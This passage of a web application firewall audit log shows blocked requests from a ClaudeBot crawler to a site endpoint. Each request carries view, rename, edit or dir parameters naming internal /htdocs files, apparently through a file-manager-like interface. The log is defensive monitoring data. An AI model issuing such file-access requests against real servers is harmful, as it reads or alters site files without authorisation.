(Varnish/7.7)","X-Varnish":"10620364"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"e416910e36444aacf121e5e21476d3ee","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:view=/htdocs/atito.com/blog-single.html& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":297,"p2":2764,"p3":0,"p4":0,"p5":523,"sr":157,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:45:14.415713 +0100","transaction_id":"abPOmkxHnLkyPWuTIW5clwAAAY4","remote_address":"216.73.216.152","remote_port":33986,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?view=%2Fhtdocs%2Fatito.com%2Flisting2.html HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"bcd32fc64ec2b44848c45704bc9c54ec","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"10620367"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Upgrade":"h2,h2c","Connection":"Upgrade","Accept-Ranges":"bytes","X-Orig-Rid":"bcd32fc64ec2b44848c45704bc9c54ec","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:view=/htdocs/atito.com/listing2.html& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":312,"p2":3186,"p3":0,"p4":0,"p5":485,"sr":159,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:45:14.444849 +0100","transaction_id":"abPOmqg_lPa2owFZ6_PvAwAAAQk","remote_address":"216.73.216.152","remote_port":33896,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?view=%2Fhtdocs%2Fsivaco%2Fwebpack.mix.js HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"49874be8b1810fb0b92b69e7d969e9ad","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"14223502"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"49874be8b1810fb0b92b69e7d969e9ad","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:view=/htdocs/sivaco/webpack.mix.js& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":194,"p2":1880,"p3":0,"p4":0,"p5":430,"sr":117,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:45:14.478323 +0100","transaction_id":"abPOmuEAMg66iR7kG38gvAAAA04","remote_address":"216.73.216.152","remote_port":43306,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?view=%2Fhtdocs%2Fapps.jmkconsulting-ci.com%2Fdefault_index.html HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"8a59307941ea40e6a4e8aabd6d5c726e","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"3839018"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"8a59307941ea40e6a4e8aabd6d5c726e","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:view=/htdocs/apps.jmkconsulting-ci.com/default_index.html& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":235,"p2":2862,"p3":0,"p4":0,"p5":372,"sr":180,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:45:14.569399 +0100","transaction_id":"abPOmuEAMg66iR7kG38gvQAAA04","remote_address":"216.73.216.152","remote_port":43306,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?rename=%2Fhtdocs%2Fatito.com%2Fdashboard-agents.html HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"2ebf9e9ebd31ed11f3f63fb877f7edd5","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"12028746"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"2ebf9e9ebd31ed11f3f63fb877f7edd5","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:rename=/htdocs/atito.com/dashboard-agents.html& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":272,"p2":2566,"p3":0,"p4":0,"p5":473,"sr":148,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:45:14.661450 +0100","transaction_id":"abPOmqg_lPa2owFZ6_PvBAAAAQk","remote_address":"216.73.216.152","remote_port":33896,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?view=%2Fhtdocs%2Fatito.com%2Fdashboard-review.html HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"c90dc5a51d331a3b0dea28d8f5e4546d","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"3839024"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"c90dc5a51d331a3b0dea28d8f5e4546d","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:view=/htdocs/atito.com/dashboard-review.html& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":259,"p2":2683,"p3":0,"p4":0,"p5":481,"sr":149,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:45:14.752017 +0100","transaction_id":"abPOmoB2aIMAFdsi8EHyVwAAAsM","remote_address":"216.73.216.152","remote_port":60750,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?view=%2Fhtdocs%2Fatito.com%2Fblog.html HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"f12316b6ef16334b300fb9dee5309af9","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"14288397"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"f12316b6ef16334b300fb9dee5309af9","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:view=/htdocs/atito.com/blog.html& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":257,"p2":2504,"p3":0,"p4":0,"p5":426,"sr":152,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:45:14.844524 +0100","transaction_id":"abPOmoB2aIMAFdsi8EHyWAAAAsM","remote_address":"216.73.216.152","remote_port":60750,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?rename=%2Fhtdocs%2Fatito.com%2Findex41.php HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"f9bf8f21e7988efe04231620754b4931","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"12028762"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"f9bf8f21e7988efe04231620754b4931","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:rename=/htdocs/atito.com/index41.php& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":276,"p2":2795,"p3":0,"p4":0,"p5":574,"sr":164,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:45:14.992633 +0100","transaction_id":"abPOmk26I4peWFmz15ymuAAAAVE","remote_address":"216.73.216.152","remote_port":60814,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?dir=%2Fhtdocs%2Fsivaco%2Fstorage HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"05fc5ea6751354e62904897d9738147d","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"8424098"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"05fc5ea6751354e62904897d9738147d","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:dir=/htdocs/sivaco/storage& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":193,"p2":2082,"p3":0,"p4":0,"p5":355,"sr":143,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:45:15.024591 +0100","transaction_id":"abPOm026I4peWFmz15ymuQAAAVE","remote_address":"216.73.216.152","remote_port":60814,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?dir=%2Fhtdocs%2Fatito.com%2Ffonts HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"8b61954683a8ba41d54292ede9bff26a","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"14288414"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"8b61954683a8ba41d54292ede9bff26a","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:dir=/htdocs/atito.com/fonts& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":182,"p2":1927,"p3":0,"p4":0,"p5":350,"sr":124,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:45:15.115654 +0100","transaction_id":"abPOm-EAMg66iR7kG38gwAAAA0U","remote_address":"216.73.216.152","remote_port":33126,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?rename=%2Fhtdocs%2Fatito.com%2Findex5.php HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"c34f1324f5d5466da6aefdc904c845d1","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"14288417"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"c34f1324f5d5466da6aefdc904c845d1","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:rename=/htdocs/atito.com/index5.php& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":257,"p2":2578,"p3":0,"p4":0,"p5":437,"sr":154,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:45:15.207473 +0100","transaction_id":"abPOm-EAMg66iR7kG38gwgAAA0U","remote_address":"216.73.216.152","remote_port":33126,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?edit=%2Fhtdocs%2Fancien_jmk%2Fphpinfolws.php HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"1dd5d3184d767090ebc73c4549d751fb","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"7246044"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"1dd5d3184d767090ebc73c4549d751fb","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:edit=/htdocs/ancien_jmk/phpinfolws.php& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":249,"p2":2986,"p3":0,"p4":0,"p5":551,"sr":173,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:45:15.300155 +0100","transaction_id":"abPOm-EAMg66iR7kG38gxAAAA04","remote_address":"216.73.216.152","remote_port":43306,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?view=%2Fhtdocs%2Fsivaco%2Fpostcss.config.js HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"f389c6e2d49dff596bd3b3f76f29a58f","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"13894487"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"f389c6e2d49dff596bd3b3f76f29a58f","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file 